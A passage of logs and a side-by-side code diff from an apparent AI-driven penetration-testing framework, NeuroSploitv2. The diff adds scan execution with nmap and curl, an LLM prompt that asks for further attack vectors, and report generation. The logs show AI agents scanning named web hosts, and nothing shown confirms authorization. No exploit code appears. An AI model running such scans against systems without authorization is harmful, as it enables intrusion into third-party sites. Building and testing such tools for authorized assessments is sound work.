2025-12-19 12:37:01,705 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 21:51:01,814 - core.llm_manager - WARNING - Claude API connection error (attempt 1/3): Connection error.
2025-12-19 12:37:01,707 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 21:51:01,814 - core.llm_manager - INFO - Retrying in 1.0s...
2025-12-19 12:37:01,707 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: llama3:8b, Profile: ollama_llama3_default 2026-01-09 21:51:18,215 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.376669 seconds
2025-12-19 12:37:01,707 - agents.base_agent - INFO - Initialized owasp_expert agent. Description: Specializes in assessing web applications against OWASP Top 10 vulnerabilities. 2026-01-09 21:51:35,478 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.796112 seconds
2025-12-19 12:37:01,707 - agents.base_agent - INFO - Executing owasp_expert agent for input: scan target hackersec.com... 2026-01-09 21:51:53,615 - anthropic._base_client - INFO - Retrying request to /v1/messages in 1.699116 seconds
2025-12-19 12:37:16,413 - __main__ - INFO - Results saved to results/campaign_20251219_123701.json 2026-01-09 21:52:05,785 - core.llm_manager - WARNING - Claude API connection error (attempt 2/3): Connection error.
2025-12-19 12:43:25,362 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_124325 2026-01-09 21:52:05,785 - core.llm_manager - INFO - Retrying in 2.0s...
2025-12-19 12:43:25,362 - __main__ - INFO - Starting execution for agent role: owasp_expert 2026-01-09 21:52:24,787 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.464746 seconds
2025-12-19 12:43:25,363 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 21:52:41,245 - anthropic._base_client - INFO - Retrying request to /v1/messages in 0.985268 seconds
2025-12-19 12:43:25,365 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 21:52:58,448 - anthropic._base_client - INFO - Retrying request to /v1/messages in 1.620720 seconds
2025-12-19 12:43:25,365 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: llama3:8b, Profile: ollama_llama3_default 2026-01-09 21:53:16,123 - core.llm_manager - WARNING - Claude API connection error (attempt 3/3): Connection error.
2025-12-19 12:43:25,365 - agents.base_agent - INFO - Initialized owasp_expert agent. Description: Specializes in assessing web applications against OWASP Top 10 vulnerabilities. 2026-01-09 21:53:16,123 - core.llm_manager - ERROR - Error generating raw response: Failed to connect to Claude API after 3 attempts: Connection error.
2025-12-19 12:43:25,365 - agents.base_agent - INFO - Executing owasp_expert agent for input: scan target hackersec.com... 2026-01-09 21:53:16,124 - __main__ - INFO - Results saved to results/campaign_20260109_214540.json
2025-12-19 12:43:47,234 - __main__ - INFO - Results saved to results/campaign_20251219_124325.json 2026-01-09 21:53:16,127 - __main__ - INFO - Report generated: reports/report_20260109_214540.html
2025-12-19 12:43:47,235 - __main__ - INFO - Report generated: reports/report_20251219_124325.html 2026-01-09 21:56:06,802 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_215606
2025-12-19 12:46:24,533 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_124624 2026-01-09 21:56:06,802 - __main__ - INFO - Starting execution for agent role: bug_bounty_hunter
2025-12-19 12:51:12,912 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_125112 2026-01-09 21:56:06,803 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json
2025-12-19 13:07:54,046 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_130754 2026-01-09 21:56:06,804 - core.llm_manager - INFO - Loaded 12 prompts from Markdown library.
2025-12-19 13:08:09,699 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_130809 2026-01-09 21:56:06,805 - core.llm_manager - INFO - Initialized LLM Manager - Provider: claude, Model: claude-sonnet-4-20250514, Profile: claude_opus_default
2025-12-19 13:08:39,156 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_130839 2026-01-09 21:56:06,805 - agents.base_agent - INFO - Initialized bug_bounty_hunter agent
2025-12-19 13:08:39,156 - __main__ - INFO - Starting execution for agent role: owasp_expert 2026-01-09 21:59:35,167 - __main__ - INFO - Results saved to results/campaign_20260109_215606.json
2025-12-19 13:08:39,157 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 21:59:35,173 - __main__ - INFO - Report generated: reports/report_20260109_215606.html
2025-12-19 13:08:39,160 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 22:01:55,119 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_220155
2025-12-19 13:08:39,160 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: llama3:8b, Profile: ollama_llama3_default 2026-01-09 22:01:55,120 - __main__ - INFO - Starting execution for agent role: Pentestfull
2025-12-19 13:08:39,160 - agents.base_agent - INFO - Initialized owasp_expert agent. Description: Specializes in assessing web applications against OWASP Top 10 vulnerabilities. 2026-01-09 22:01:55,120 - __main__ - ERROR - Agent role 'Pentestfull' not found in configuration.
2025-12-19 13:08:39,160 - agents.base_agent - INFO - Executing owasp_expert agent for input: scan target hackersec.com... 2026-01-09 22:02:52,978 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_220252
2025-12-19 13:08:59,868 - __main__ - INFO - Results saved to results/campaign_20251219_130839.json 2026-01-09 22:02:52,978 - __main__ - INFO - Starting execution for agent role: Pentestfull
2025-12-19 13:08:59,893 - __main__ - INFO - Report generated: reports/report_20251219_130839.html 2026-01-09 22:02:52,978 - __main__ - ERROR - Agent role 'Pentestfull' not found in configuration.
2025-12-19 13:09:57,106 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_130957 2026-01-09 22:03:51,858 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_220351
2025-12-19 13:10:51,790 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_131051 2026-01-09 22:03:51,858 - __main__ - INFO - Starting execution for agent role: Pentestfull
2025-12-19 13:10:51,790 - __main__ - INFO - Starting execution for agent role: bug_bounty_hunter 2026-01-09 22:03:51,858 - __main__ - ERROR - Agent role 'Pentestfull' not found in configuration.
2025-12-19 13:10:51,791 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 22:04:11,723 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_220411
2025-12-19 13:10:51,794 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 22:04:11,723 - __main__ - INFO - Starting execution for agent role: Pentestfull
2025-12-19 13:10:51,794 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: llama3:8b, Profile: ollama_llama3_default 2026-01-09 22:04:11,723 - __main__ - ERROR - Agent role 'Pentestfull' not found in configuration.
2025-12-19 13:10:51,794 - agents.base_agent - INFO - Initialized bug_bounty_hunter agent. Description: Focuses on web application vulnerabilities, leveraging recon and exploitation tools. 2026-01-09 22:04:25,438 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_220425
2025-12-19 13:10:51,794 - agents.base_agent - INFO - Executing bug_bounty_hunter agent for input: identify vulnerability in target testphp.vulnweb.c... 2026-01-09 22:04:28,726 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_220428
2025-12-19 13:12:27,308 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_131227 2026-01-09 22:05:50,800 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_220550
2025-12-19 13:12:27,308 - __main__ - INFO - Starting execution for agent role: bug_bounty_hunter 2026-01-09 22:05:50,800 - __main__ - INFO - Starting execution for agent role: /opt/NeuroSploitv2/prompts/md_library/Pentestfull.md
2025-12-19 13:12:27,308 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 22:05:50,800 - __main__ - INFO - Agent role '/opt/NeuroSploitv2/prompts/md_library/Pentestfull.md' not in config.json, using dynamic mode with prompt file.
2025-12-19 13:12:27,310 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 22:05:50,800 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json
2025-12-19 13:12:27,310 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: llama3:8b, Profile: ollama_llama3_default 2026-01-09 22:05:50,801 - core.llm_manager - INFO - Loaded 13 prompts from Markdown files.
2025-12-19 13:12:27,310 - agents.base_agent - INFO - Initialized bug_bounty_hunter agent. Description: Focuses on web application vulnerabilities, leveraging recon and exploitation tools. 2026-01-09 22:05:50,801 - core.llm_manager - INFO - Initialized LLM Manager - Provider: claude, Model: claude-sonnet-4-20250514, Profile: claude_opus_default
2025-12-19 13:12:27,310 - agents.base_agent - INFO - Executing bug_bounty_hunter agent for input: identify vulnerability in target testphp.vulnweb.c... 2026-01-09 22:05:50,801 - __main__ - ERROR - Prompts for agent role '/opt/NeuroSploitv2/prompts/md_library/Pentestfull.md' not found in MD library.
2025-12-19 13:12:41,925 - __main__ - INFO - Results saved to results/campaign_20251219_131227.json 2026-01-09 22:06:02,465 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_220602
2025-12-19 13:12:41,946 - __main__ - INFO - Report generated: reports/report_20251219_131227.html 2026-01-09 22:06:02,465 - __main__ - INFO - Starting execution for agent role: Pentestfull
2025-12-19 13:24:05,659 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_132405 2026-01-09 22:06:02,465 - __main__ - INFO - Agent role 'Pentestfull' not in config.json, using dynamic mode with prompt file.
2025-12-19 13:24:05,659 - __main__ - INFO - Starting execution for agent role: bug_bounty_hunter 2026-01-09 22:06:02,465 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json
2025-12-19 13:24:05,659 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 22:06:02,466 - core.llm_manager - INFO - Loaded 13 prompts from Markdown files.
2025-12-19 13:24:05,661 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 22:06:02,466 - core.llm_manager - INFO - Initialized LLM Manager - Provider: claude, Model: claude-sonnet-4-20250514, Profile: claude_opus_default
2025-12-19 13:24:05,661 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: llama3:8b, Profile: ollama_llama3_default 2026-01-09 22:06:02,466 - agents.base_agent - INFO - Initialized Pentestfull agent
2025-12-19 13:24:05,661 - agents.base_agent - INFO - Initialized bug_bounty_hunter agent. Description: Focuses on web application vulnerabilities, leveraging recon and exploitation tools. 2026-01-09 22:16:20,776 - __main__ - INFO - Results saved to results/campaign_20260109_220602.json
2025-12-19 13:24:05,661 - agents.base_agent - INFO - Executing bug_bounty_hunter agent for input: identify vulnerability in target testphp.vulnweb.c... 2026-01-09 22:16:20,782 - __main__ - INFO - Report generated: reports/report_20260109_220602.html
2025-12-19 13:24:18,057 - __main__ - INFO - Results saved to results/campaign_20251219_132405.json 2026-01-09 22:21:27,009 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_222127
2025-12-19 13:24:18,078 - __main__ - INFO - Report generated: reports/report_20251219_132405.html 2026-01-09 22:21:27,009 - __main__ - INFO - Starting execution for agent role: Pentestfull
2026-01-09 22:21:27,009 - __main__ - INFO - Agent role 'Pentestfull' not in config.json, using dynamic mode with prompt file.
2026-01-09 22:21:27,010 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json
2026-01-09 22:21:27,013 - core.llm_manager - INFO - Loaded 13 prompts from Markdown files.
2026-01-09 22:21:27,013 - core.llm_manager - INFO - Initialized LLM Manager - Provider: claude, Model: claude-sonnet-4-20250514, Profile: claude_opus_default
2026-01-09 22:21:27,013 - agents.base_agent - INFO - Initialized Pentestfull agent
2026-01-09 22:25:50,723 - __main__ - INFO - Results saved to results/campaign_20260109_222127.json
2026-01-09 22:25:50,730 - __main__ - INFO - Report generated: reports/report_20260109_222127.html
2026-01-09 22:29:14,140 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_222914
2026-01-09 22:29:14,140 - __main__ - INFO - Starting execution for agent role: Pentestfull
2026-01-09 22:29:14,140 - __main__ - INFO - Agent role 'Pentestfull' not in config.json, using dynamic mode with prompt file.
2026-01-09 22:29:14,141 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json
2026-01-09 22:29:14,144 - core.llm_manager - INFO - Loaded 13 prompts from Markdown files.
2026-01-09 22:29:14,144 - core.llm_manager - INFO - Initialized LLM Manager - Provider: claude, Model: claude-sonnet-4-20250514, Profile: claude_opus_default
2026-01-09 22:29:14,144 - agents.base_agent - INFO - Initialized Pentestfull - Autonomous Agent
2026-01-09 22:31:51,657 - __main__ - INFO - Results saved to results/campaign_20260109_222914.json
2026-01-09 22:31:51,665 - __main__ - INFO - Report generated: reports/report_20260109_222914.html
+555 -65
View File
@@ -10,6 +10,7 @@ import os
import sys import sys
import argparse import argparse
import json import json
import re
from pathlib import Path from pathlib import Path
from typing import Dict, List, Optional from typing import Dict, List, Optional
import logging import logging
@@ -29,12 +30,19 @@ logging.basicConfig(
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
from core.llm_manager import LLMManager from core.llm_manager import LLMManager
from core.tool_installer import ToolInstaller, run_installer_menu, PENTEST_TOOLS
from core.pentest_executor import PentestExecutor
from core.report_generator import ReportGenerator
from agents.base_agent import BaseAgent from agents.base_agent import BaseAgent
class Completer: class Completer:
def __init__(self, neurosploit): def __init__(self, neurosploit):
self.neurosploit = neurosploit self.neurosploit = neurosploit
self.commands = ["help", "run_agent", "config", "list_roles", "list_profiles", "set_profile", "set_agent", "discover_ollama", "exit", "quit"] self.commands = [
"help", "run_agent", "config", "list_roles", "list_profiles",
"set_profile", "set_agent", "discover_ollama", "install_tools",
"scan", "quick_scan", "check_tools", "exit", "quit"
]
self.agent_roles = list(self.neurosploit.config.get('agent_roles', {}).keys()) self.agent_roles = list(self.neurosploit.config.get('agent_roles', {}).keys())
self.llm_profiles = list(self.neurosploit.config.get('llm', {}).get('profiles', {}).keys()) self.llm_profiles = list(self.neurosploit.config.get('llm', {}).get('profiles', {}).keys())
@@ -84,6 +92,9 @@ class NeuroSploitv2:
self.llm_manager_instance: Optional[LLMManager] = None self.llm_manager_instance: Optional[LLMManager] = None
self.selected_agent_role: Optional[str] = None self.selected_agent_role: Optional[str] = None
# Initialize tool installer
self.tool_installer = ToolInstaller()
logger.info(f"NeuroSploitv2 initialized - Session: {self.session_id}") logger.info(f"NeuroSploitv2 initialized - Session: {self.session_id}")
def _setup_directories(self): def _setup_directories(self):
@@ -125,11 +136,16 @@ class NeuroSploitv2:
agent_roles_config = self.config.get('agent_roles', {}) agent_roles_config = self.config.get('agent_roles', {})
role_config = agent_roles_config.get(agent_role_name) role_config = agent_roles_config.get(agent_role_name)
# If role not in config, create a default config (allows dynamic roles from .md files)
if not role_config: if not role_config:
logger.error(f"Agent role '{agent_role_name}' not found in configuration.") logger.info(f"Agent role '{agent_role_name}' not in config.json, using dynamic mode with prompt file.")
return {"error": f"Agent role '{agent_role_name}' not found."} role_config = {
"enabled": True,
"tools_allowed": [],
"description": f"Dynamic agent role loaded from {agent_role_name}.md"
}
if not role_config.get('enabled', False): if not role_config.get('enabled', True):
logger.warning(f"Agent role '{agent_role_name}' is disabled in configuration.") logger.warning(f"Agent role '{agent_role_name}' is disabled in configuration.")
return {"warning": f"Agent role '{agent_role_name}' is disabled."} return {"warning": f"Agent role '{agent_role_name}' is disabled."}
@@ -174,94 +190,469 @@ class NeuroSploitv2:
self._generate_report(results) self._generate_report(results)
def _generate_report(self, results: Dict): def _generate_report(self, results: Dict):
"""Generate HTML report for agent role execution""" """Generate professional HTML report with charts and modern CSS"""
report_file = f"reports/report_{self.session_id}.html" report_file = f"reports/report_{self.session_id}.html"
# Get data
llm_response = results.get('results', {}).get('llm_response', '') llm_response = results.get('results', {}).get('llm_response', '')
if isinstance(llm_response, dict): if isinstance(llm_response, dict):
llm_response = json.dumps(llm_response, indent=2) llm_response = json.dumps(llm_response, indent=2)
report_content = mistune.html(llm_response) report_content = mistune.html(llm_response)
html = f""" # Extract metrics from report
<!DOCTYPE html> targets = results.get('results', {}).get('targets', [results.get('input', 'N/A')])
<html lang="en"> if isinstance(targets, str):
<head> targets = [targets]
tools_executed = results.get('results', {}).get('tools_executed', 0)
# Count severities from report text
critical = len(re.findall(r'\[?Critical\]?', llm_response, re.IGNORECASE))
high = len(re.findall(r'\[?High\]?', llm_response, re.IGNORECASE))
medium = len(re.findall(r'\[?Medium\]?', llm_response, re.IGNORECASE))
low = len(re.findall(r'\[?Low\]?', llm_response, re.IGNORECASE))
info = len(re.findall(r'\[?Info\]?', llm_response, re.IGNORECASE))
total_vulns = critical + high + medium + low
# Risk score calculation
risk_score = min(100, (critical * 25) + (high * 15) + (medium * 8) + (low * 3))
risk_level = "Critical" if risk_score >= 70 else "High" if risk_score >= 50 else "Medium" if risk_score >= 25 else "Low"
risk_color = "#e74c3c" if risk_score >= 70 else "#e67e22" if risk_score >= 50 else "#f1c40f" if risk_score >= 25 else "#27ae60"
html = f"""<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"> <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>NeuroSploitv2 Report - {results['session_id']}</title> <title>Security Assessment Report - {self.session_id}</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet"> <script src="https://cdn.jsdelivr.net/npm/chart.js"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/styles/atom-one-dark.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/styles/github-dark.min.css">
<style> <style>
:root {{
--bg-primary: #0a0e17;
--bg-secondary: #111827;
--bg-card: #1a1f2e;
--border-color: #2d3748;
--text-primary: #e2e8f0;
--text-secondary: #94a3b8;
--accent: #3b82f6;
--critical: #ef4444;
--high: #f97316;
--medium: #eab308;
--low: #22c55e;
--info: #6366f1;
}}
* {{ margin: 0; padding: 0; box-sizing: border-box; }}
body {{ body {{
background-color: #121212; font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;
color: #e0e0e0; background: var(--bg-primary);
color: var(--text-primary);
line-height: 1.6;
}} }}
.card {{ .container {{ max-width: 1400px; margin: 0 auto; padding: 2rem; }}
background-color: #1e1e1e;
border: 1px solid #333; /* Header */
.header {{
background: linear-gradient(135deg, #1e3a5f 0%, #0f172a 100%);
padding: 3rem 2rem;
border-radius: 16px;
margin-bottom: 2rem;
border: 1px solid var(--border-color);
}} }}
.card-header {{ .header-content {{ display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 1rem; }}
background-color: #333; .logo {{ font-size: 2rem; font-weight: 800; background: linear-gradient(90deg, #3b82f6, #8b5cf6); -webkit-background-clip: text; -webkit-text-fill-color: transparent; }}
color: #00ff00; .report-meta {{ text-align: right; color: var(--text-secondary); font-size: 0.9rem; }}
font-weight: bold;
/* Stats Grid */
.stats-grid {{ display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 1.5rem; margin-bottom: 2rem; }}
.stat-card {{
background: var(--bg-card);
border-radius: 12px;
padding: 1.5rem;
border: 1px solid var(--border-color);
transition: transform 0.2s, box-shadow 0.2s;
}} }}
pre {{ .stat-card:hover {{ transform: translateY(-2px); box-shadow: 0 8px 25px rgba(0,0,0,0.3); }}
white-space: pre-wrap; .stat-value {{ font-size: 2.5rem; font-weight: 700; }}
word-wrap: break-word; .stat-label {{ color: var(--text-secondary); font-size: 0.875rem; text-transform: uppercase; letter-spacing: 0.5px; }}
.stat-critical .stat-value {{ color: var(--critical); }}
.stat-high .stat-value {{ color: var(--high); }}
.stat-medium .stat-value {{ color: var(--medium); }}
.stat-low .stat-value {{ color: var(--low); }}
/* Risk Score */
.risk-section {{ display: grid; grid-template-columns: 1fr 1fr; gap: 2rem; margin-bottom: 2rem; }}
@media (max-width: 900px) {{ .risk-section {{ grid-template-columns: 1fr; }} }}
.risk-card {{
background: var(--bg-card);
border-radius: 16px;
padding: 2rem;
border: 1px solid var(--border-color);
}} }}
.logo {{ .risk-score-circle {{
font-size: 2rem; width: 180px; height: 180px;
font-weight: bold; border-radius: 50%;
color: #00ff00; background: conic-gradient({risk_color} 0deg, {risk_color} {risk_score * 3.6}deg, #2d3748 {risk_score * 3.6}deg);
text-shadow: 0 0 10px #00ff00; display: flex; align-items: center; justify-content: center;
margin: 0 auto 1rem;
}} }}
.risk-score-inner {{
width: 140px; height: 140px;
border-radius: 50%;
background: var(--bg-card);
display: flex; flex-direction: column; align-items: center; justify-content: center;
}}
.risk-score-value {{ font-size: 3rem; font-weight: 800; color: {risk_color}; }}
.risk-score-label {{ color: var(--text-secondary); font-size: 0.875rem; }}
.chart-container {{ height: 250px; }}
/* Targets */
.targets-list {{ display: flex; flex-wrap: wrap; gap: 0.5rem; margin-top: 1rem; }}
.target-tag {{
background: rgba(59, 130, 246, 0.2);
border: 1px solid var(--accent);
padding: 0.5rem 1rem;
border-radius: 20px;
font-size: 0.875rem;
font-family: monospace;
}}
/* Main Report */
.report-section {{
background: var(--bg-card);
border-radius: 16px;
padding: 2rem;
border: 1px solid var(--border-color);
margin-bottom: 2rem;
}}
.section-title {{
font-size: 1.5rem;
font-weight: 700;
margin-bottom: 1.5rem;
padding-bottom: 1rem;
border-bottom: 2px solid var(--accent);
display: flex;
align-items: center;
gap: 0.75rem;
}}
.section-title::before {{
content: '';
width: 4px;
height: 24px;
background: var(--accent);
border-radius: 2px;
}}
/* Vulnerability Cards */
.report-content h2 {{ .report-content h2 {{
border-bottom: 2px solid #00ff00; background: linear-gradient(90deg, var(--bg-secondary), transparent);
padding-bottom: 10px; padding: 1rem 1.5rem;
margin-top: 30px; border-radius: 8px;
margin: 2rem 0 1rem;
border-left: 4px solid var(--accent);
font-size: 1.25rem;
}}
.report-content h2:has-text("Critical"), .report-content h2:contains("CRITICAL") {{ border-left-color: var(--critical); }}
.report-content h3 {{ color: var(--accent); margin: 1.5rem 0 0.75rem; font-size: 1.1rem; }}
.report-content table {{
width: 100%;
border-collapse: collapse;
margin: 1rem 0;
background: var(--bg-secondary);
border-radius: 8px;
overflow: hidden;
}}
.report-content th, .report-content td {{
padding: 0.75rem 1rem;
text-align: left;
border-bottom: 1px solid var(--border-color);
}}
.report-content th {{ background: rgba(59, 130, 246, 0.1); color: var(--accent); font-weight: 600; }}
.report-content pre {{
background: #0d1117;
border: 1px solid var(--border-color);
border-radius: 8px;
padding: 1rem;
overflow-x: auto;
margin: 1rem 0;
}}
.report-content code {{
font-family: 'JetBrains Mono', 'Fira Code', monospace;
font-size: 0.875rem;
}}
.report-content p {{ margin: 0.75rem 0; }}
.report-content hr {{ border: none; border-top: 1px solid var(--border-color); margin: 2rem 0; }}
.report-content ul, .report-content ol {{ margin: 1rem 0; padding-left: 1.5rem; }}
.report-content li {{ margin: 0.5rem 0; }}
/* Severity Badges */
.report-content h2 {{ position: relative; }}
/* Footer */
.footer {{
text-align: center;
padding: 2rem;
color: var(--text-secondary);
font-size: 0.875rem;
border-top: 1px solid var(--border-color);
margin-top: 3rem;
}}
/* Print Styles */
@media print {{
body {{ background: white; color: black; }}
.stat-card, .risk-card, .report-section {{ border: 1px solid #ddd; }}
}} }}
</style> </style>
</head> </head>
<body> <body>
<div class="container mt-5"> <div class="container">
<div class="d-flex justify-content-between align-items-center mb-4"> <div class="header">
<h1 class="logo">NeuroSploitv2</h1> <div class="header-content">
<span class="text-muted">Report ID: {results['session_id']}</span> <div>
<div class="logo">NeuroSploit</div>
<p style="color: var(--text-secondary); margin-top: 0.5rem;">AI-Powered Security Assessment Report</p>
</div> </div>
<div class="report-meta">
<div class="card mb-4"> <div><strong>Report ID:</strong> {self.session_id}</div>
<div class="card-header"> <div><strong>Date:</strong> {datetime.now().strftime('%Y-%m-%d %H:%M')}</div>
Execution Summary <div><strong>Agent:</strong> {results.get('agent_role', 'Security Analyst')}</div>
</div> </div>
<div class="card-body"> </div>
<p><strong>Agent Role:</strong> {results.get('agent_role', 'N/A')}</p> <div class="targets-list">
<p><strong>Input:</strong> {results.get('input', 'N/A')}</p> {''.join(f'<span class="target-tag">{t}</span>' for t in targets[:5])}
<p><strong>Timestamp:</strong> {results['timestamp']}</p>
</div> </div>
</div> </div>
<div class="card"> <div class="stats-grid">
<div class="card-header"> <div class="stat-card stat-critical">
Vulnerability Report <div class="stat-value">{critical}</div>
<div class="stat-label">Critical</div>
</div> </div>
<div class="card-body report-content"> <div class="stat-card stat-high">
<div class="stat-value">{high}</div>
<div class="stat-label">High</div>
</div>
<div class="stat-card stat-medium">
<div class="stat-value">{medium}</div>
<div class="stat-label">Medium</div>
</div>
<div class="stat-card stat-low">
<div class="stat-value">{low}</div>
<div class="stat-label">Low</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: var(--accent);">{tools_executed}</div>
<div class="stat-label">Tests Run</div>
</div>
</div>
<div class="risk-section">
<div class="risk-card">
<h3 style="text-align: center; margin-bottom: 1rem; color: var(--text-secondary);">Risk Score</h3>
<div class="risk-score-circle">
<div class="risk-score-inner">
<div class="risk-score-value">{risk_score}</div>
<div class="risk-score-label">{risk_level}</div>
</div>
</div>
</div>
<div class="risk-card">
<h3 style="margin-bottom: 1rem; color: var(--text-secondary);">Severity Distribution</h3>
<div class="chart-container">
<canvas id="severityChart"></canvas>
</div>
</div>
</div>
<div class="report-section">
<div class="section-title">Vulnerability Report</div>
<div class="report-content">
{report_content} {report_content}
</div> </div>
</div> </div>
<div class="footer">
<p>Generated by <strong>NeuroSploit</strong> - AI-Powered Penetration Testing Framework</p>
<p style="margin-top: 0.5rem;">Confidential - For authorized personnel only</p>
</div>
</div> </div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/highlight.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/highlight.min.js"></script>
<script>hljs.highlightAll();</script> <script>
</body> hljs.highlightAll();
</html>
""" // Severity Chart
const ctx = document.getElementById('severityChart').getContext('2d');
new Chart(ctx, {{
type: 'doughnut',
data: {{
labels: ['Critical', 'High', 'Medium', 'Low', 'Info'],
datasets: [{{
data: [{critical}, {high}, {medium}, {low}, {info}],
backgroundColor: ['#ef4444', '#f97316', '#eab308', '#22c55e', '#6366f1'],
borderWidth: 0,
hoverOffset: 10
}}]
}},
options: {{
responsive: true,
maintainAspectRatio: false,
plugins: {{
legend: {{
position: 'right',
labels: {{ color: '#94a3b8', padding: 15, font: {{ size: 12 }} }}
}}
}},
cutout: '60%'
}}
}});
</script>
</body>
</html>"""
with open(report_file, 'w') as f: with open(report_file, 'w') as f:
f.write(html) f.write(html)
logger.info(f"Report generated: {report_file}") logger.info(f"Report generated: {report_file}")
def execute_real_scan(self, target: str, scan_type: str = "full", agent_role: str = None) -> Dict:
"""
Execute a real penetration test with actual tools and generate professional report.
Args:
target: The target URL or IP to scan
scan_type: "full" for comprehensive scan, "quick" for essential checks
agent_role: Optional agent role for AI analysis of results
"""
print(f"\n{'='*70}")
print(" NeuroSploitv2 - Real Penetration Test Execution")
print(f"{'='*70}")
print(f"\n[*] Target: {target}")
print(f"[*] Scan Type: {scan_type}")
print(f"[*] Session ID: {self.session_id}\n")
# Check for required tools
print("[*] Checking required tools...")
missing_tools = []
essential_tools = ["nmap", "curl"]
for tool in essential_tools:
installed, path = self.tool_installer.check_tool_installed(tool)
if not installed:
missing_tools.append(tool)
print(f" [-] {tool}: NOT INSTALLED")
else:
print(f" [+] {tool}: {path}")
if missing_tools:
print(f"\n[!] Missing required tools: {', '.join(missing_tools)}")
print("[!] Run 'install_tools' to install required tools.")
return {"error": f"Missing tools: {missing_tools}"}
# Execute the scan
executor = PentestExecutor(target, self.config)
if scan_type == "quick":
scan_result = executor.run_quick_scan()
else:
scan_result = executor.run_full_scan()
# Get results as dictionary
results_dict = executor.to_dict()
# Get AI analysis if agent role specified
llm_analysis = ""
if agent_role:
print(f"\n[*] Running AI analysis with {agent_role}...")
llm_profile = self.config.get('agent_roles', {}).get(agent_role, {}).get('llm_profile')
self._initialize_llm_manager(llm_profile)
if self.llm_manager_instance:
agent_prompts = self.llm_manager_instance.prompts.get("md_prompts", {}).get(agent_role, {})
if agent_prompts:
agent = BaseAgent(agent_role, self.config, self.llm_manager_instance, agent_prompts)
analysis_input = f"""
Analyze the following penetration test results and provide a detailed security assessment:
Target: {target}
Scan Type: {scan_type}
SCAN RESULTS:
{json.dumps(results_dict, indent=2)}
Provide:
1. Executive summary of findings
2. Risk assessment
3. Detailed analysis of each vulnerability
4. Prioritized remediation recommendations
5. Additional attack vectors to explore
"""
analysis_result = agent.execute(analysis_input, results_dict)
llm_analysis = analysis_result.get("llm_response", "")
# Generate professional report
print("\n[*] Generating professional report...")
report_gen = ReportGenerator(results_dict, llm_analysis)
html_report = report_gen.save_report("reports")
json_report = report_gen.save_json_report("results")
print(f"\n{'='*70}")
print("[+] Scan Complete!")
print(f" - Vulnerabilities Found: {len(results_dict.get('vulnerabilities', []))}")
print(f" - HTML Report: {html_report}")
print(f" - JSON Results: {json_report}")
print(f"{'='*70}\n")
return {
"session_id": self.session_id,
"target": target,
"scan_type": scan_type,
"results": results_dict,
"html_report": html_report,
"json_report": json_report
}
def check_tools_status(self):
"""Check and display status of all pentest tools"""
print("\n" + "="*60)
print(" PENTEST TOOLS STATUS")
print("="*60 + "\n")
status = self.tool_installer.get_tools_status()
installed_count = 0
